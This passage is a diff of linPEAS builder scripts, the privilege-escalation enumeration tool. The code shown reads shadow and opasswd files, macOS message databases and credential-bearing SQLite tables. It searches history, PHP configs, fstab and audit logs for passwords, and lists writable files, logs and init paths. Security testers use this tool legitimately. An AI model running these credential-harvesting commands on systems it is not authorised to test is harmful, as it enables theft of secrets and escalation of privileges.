|
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||||
|
#fi
|
||||||
|
#echo ""
|
||||||
|
|
||||||
|
##-- IPF) Files (scripts) in /etc/profile.d/
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title "Files (scripts) in /etc/profile.d/"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
|
||||||
|
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||||
|
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
|
||||||
|
check_critial_root_path "/etc/profile"
|
||||||
|
check_critial_root_path "/etc/profile.d/"
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Files (scripts) in /etc/init.d/
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title "Permissions in init, init.d, systemd, and rc.d"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
|
||||||
|
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||||
|
check_critial_root_path "/etc/init/"
|
||||||
|
check_critial_root_path "/etc/init.d/"
|
||||||
|
check_critial_root_path "/etc/rc.d/init.d"
|
||||||
|
check_critial_root_path "/usr/local/etc/rc.d"
|
||||||
|
check_critial_root_path "/etc/rc.d"
|
||||||
|
check_critial_root_path "/etc/systemd/"
|
||||||
|
check_critial_root_path "/lib/systemd/"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
##-- IPF) Hashes in passwd file
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_list "Hashes inside passwd file? ........... "
|
||||||
|
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||||
|
else echo_no
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Writable in passwd file
|
||||||
|
print_list "Writable passwd file? ................ "
|
||||||
|
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
else echo_no
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Credentials in fstab
|
||||||
|
print_list "Credentials in fstab/mtab? ........... "
|
||||||
|
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||||
|
else echo_no
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Read shadow files
|
||||||
|
print_list "Can I read shadow files? ............. "
|
||||||
|
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||||
|
else echo_no
|
||||||
|
fi
|
||||||
|
|
||||||
|
print_list "Can I read shadow plists? ............ "
|
||||||
|
possible_check=""
|
||||||
|
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||||
|
|
||||||
|
print_list "Can I write shadow plists? ........... "
|
||||||
|
possible_check=""
|
||||||
|
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||||
|
|
||||||
|
##-- IPF) Read opasswd file
|
||||||
|
print_list "Can I read opasswd file? ............. "
|
||||||
|
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
|
||||||
|
else echo_no
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) network-scripts
|
||||||
|
print_list "Can I write in network-scripts? ...... "
|
||||||
|
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
else echo_no
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Read root dir
|
||||||
|
print_list "Can I read root folder? .............. "
|
||||||
|
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Root files in home dirs
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title "Searching root files in home dirs (limit 30)"
|
||||||
|
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Others files in my dirs
|
||||||
|
if ! [ "$IAMROOT" ]; then
|
||||||
|
print_2title "Searching folders owned by me containing others files on it (limit 100)"
|
||||||
|
(find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Readable files belonging to root and not world readable
|
||||||
|
if ! [ "$IAMROOT" ]; then
|
||||||
|
print_2title "Readable files belonging to root and readable by me but not world readable"
|
||||||
|
(find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Interesting writable files by ownership or all
|
||||||
|
if ! [ "$IAMROOT" ]; then
|
||||||
|
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||||
|
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
|
||||||
|
obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||||
|
printf "%s\n" "$obmowbe" | while read entry; do
|
||||||
|
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||||
|
elif echo "$entry" | grep -qE "$writeVB"; then
|
||||||
|
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||||
|
else
|
||||||
|
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Interesting writable files by group
|
||||||
|
if ! [ "$IAMROOT" ]; then
|
||||||
|
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||||
|
for g in $(groups); do
|
||||||
|
iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||||
|
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
|
||||||
|
printf " Group $GREEN$g:\n$NC";
|
||||||
|
printf "%s\n" "$iwfbg" | while read entry; do
|
||||||
|
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||||
|
elif echo "$entry" | grep -Eq "$writeVB"; then
|
||||||
|
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||||
|
else
|
||||||
|
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
@@ -1,6 +0,0 @@
|
|||||||
|
|
||||||
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
|
|
||||||
peass{REGEXES}
|
|
||||||
else
|
|
||||||
echo "Regexes to search for API keys aren't activated, use param '-r' "
|
|
||||||
fi
|
|
||||||
315
linPEAS/builder/linpeas_parts/9_interesting_files.sh
Normal file
315
linPEAS/builder/linpeas_parts/9_interesting_files.sh
Normal file
@@ -0,0 +1,315 @@
|
|||||||
|
###########################################
|
||||||
|
#----------) Interesting files (----------#
|
||||||
|
###########################################
|
||||||
|
|
||||||
|
|
||||||
|
##-- IF) .sh files in PATH
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title ".sh files in path"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
|
||||||
|
echo $PATH | tr ":" "\n" | while read d; do
|
||||||
|
for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do
|
||||||
|
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
|
||||||
|
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
|
||||||
|
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
|
||||||
|
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
else
|
||||||
|
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
|
||||||
|
if [ "$broken_links" ] || [ "$DEBUG" ]; then
|
||||||
|
print_2title "Broken links in path"
|
||||||
|
echo $PATH | tr ":" "\n" | while read d; do
|
||||||
|
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Date times inside firmware
|
||||||
|
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title "Files datetimes inside the firmware (limit 50)"
|
||||||
|
find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
|
||||||
|
echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Executable files added by user
|
||||||
|
print_2title "Executable files potentially added by user (limit 70)"
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
|
||||||
|
else
|
||||||
|
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if [ "$MACPEAS" ]; then
|
||||||
|
print_2title "Unsigned Applications"
|
||||||
|
macosNotSigned /System/Applications
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Unexpected in /opt
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
if [ "$(ls /opt 2>/dev/null)" ]; then
|
||||||
|
print_2title "Unexpected in /opt (usually empty)"
|
||||||
|
ls -la /opt
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Unexpected folders in /
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title "Unexpected in root"
|
||||||
|
if [ "$MACPEAS" ]; then
|
||||||
|
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||||
|
else
|
||||||
|
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Modified interesting files into specific folders in the last 5mins
|
||||||
|
print_2title "Modified interesting files in the last 5mins (limit 100)"
|
||||||
|
find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
##-- IF) Writable log files
|
||||||
|
if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below
|
||||||
|
print_2title "Writable log files (logrotten) (limit 50)"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
|
||||||
|
logrotate --version 2>/dev/null || echo_not_found "logrotate"
|
||||||
|
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
|
||||||
|
logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
|
||||||
|
printf "%s\n" "$logfind" | while read log; do
|
||||||
|
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
|
||||||
|
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
|
||||||
|
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
|
||||||
|
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
|
||||||
|
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
##-- IF) Files inside my home
|
||||||
|
print_2title "Files inside $HOME (limit 20)"
|
||||||
|
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
##-- IF) Files inside /home
|
||||||
|
print_2title "Files inside others home (limit 20)"
|
||||||
|
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
##-- IF) Mail applications
|
||||||
|
print_2title "Searching installed mail applications"
|
||||||
|
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
##-- IF) Mails
|
||||||
|
print_2title "Mails (limit 50)"
|
||||||
|
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
##-- IF) Backup folders
|
||||||
|
if [ "$backup_folders" ] || [ "$DEBUG" ]; then
|
||||||
|
print_2title "Backup folders"
|
||||||
|
printf "%s\n" "$backup_folders" | while read b ; do
|
||||||
|
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
|
||||||
|
ls -l "$b" 2>/dev/null && echo ""
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Backup files
|
||||||
|
print_2title "Backup files (limited 100)"
|
||||||
|
backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
|
||||||
|
printf "%s\n" "$backs" | head -n 100 | while read b ; do
|
||||||
|
if [ -r "$b" ]; then
|
||||||
|
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
|
||||||
|
fi;
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
##-- IF) DB files
|
||||||
|
if [ "$MACPEAS" ]; then
|
||||||
|
print_2title "Reading messages database"
|
||||||
|
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
|
||||||
|
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
|
||||||
|
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
|
||||||
|
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
|
||||||
|
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
|
||||||
|
FILECMD="$(command -v file 2>/dev/null)"
|
||||||
|
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||||
|
if [ "$FILECMD" ]; then
|
||||||
|
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||||
|
else
|
||||||
|
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
SQLITEPYTHON=""
|
||||||
|
echo ""
|
||||||
|
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||||
|
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
|
||||||
|
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
|
||||||
|
tables=$(sqlite3 $f ".tables" 2>/dev/null)
|
||||||
|
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||||
|
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
|
||||||
|
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
|
||||||
|
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
|
||||||
|
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||||
|
else
|
||||||
|
tables=""
|
||||||
|
fi
|
||||||
|
if [ "$tables" ] || [ "$DEBUG" ]; then
|
||||||
|
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
|
||||||
|
printf "%s\n" "$tables" | while read t; do
|
||||||
|
columns=""
|
||||||
|
# Search for credentials inside the table using sqlite3
|
||||||
|
if [ -z "$SQLITEPYTHON" ]; then
|
||||||
|
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
|
||||||
|
# Search for credentials inside the table using python
|
||||||
|
else
|
||||||
|
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
|
||||||
|
fi
|
||||||
|
#Check found columns for interesting fields
|
||||||
|
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
|
||||||
|
if [ "$INTCOLUMN" ]; then
|
||||||
|
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
|
||||||
|
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
|
||||||
|
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
if [ "$MACPEAS" ]; then
|
||||||
|
print_2title "Downloaded Files"
|
||||||
|
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Web files
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title "Web files?(output limit)"
|
||||||
|
ls -alhR /var/www/ 2>/dev/null | head
|
||||||
|
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
|
||||||
|
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
|
||||||
|
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) All hidden files
|
||||||
|
print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
|
||||||
|
find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
##-- IF) Readable files in /tmp, /var/tmp, backups
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
|
||||||
|
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70)
|
||||||
|
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Passwords in history cmd
|
||||||
|
if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||||
|
print_2title "Searching passwords in history cmd"
|
||||||
|
history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Passwords in history files
|
||||||
|
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
|
||||||
|
print_2title "Searching passwords in history files"
|
||||||
|
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Passwords in config PHP files
|
||||||
|
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
|
||||||
|
print_2title "Searching passwords in config PHP files"
|
||||||
|
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Passwords files in home
|
||||||
|
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
|
||||||
|
print_2title "Searching *password* or *credential* files in home (limit 70)"
|
||||||
|
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) TTY passwords
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
|
||||||
|
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
|
||||||
|
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) IPs inside logs
|
||||||
|
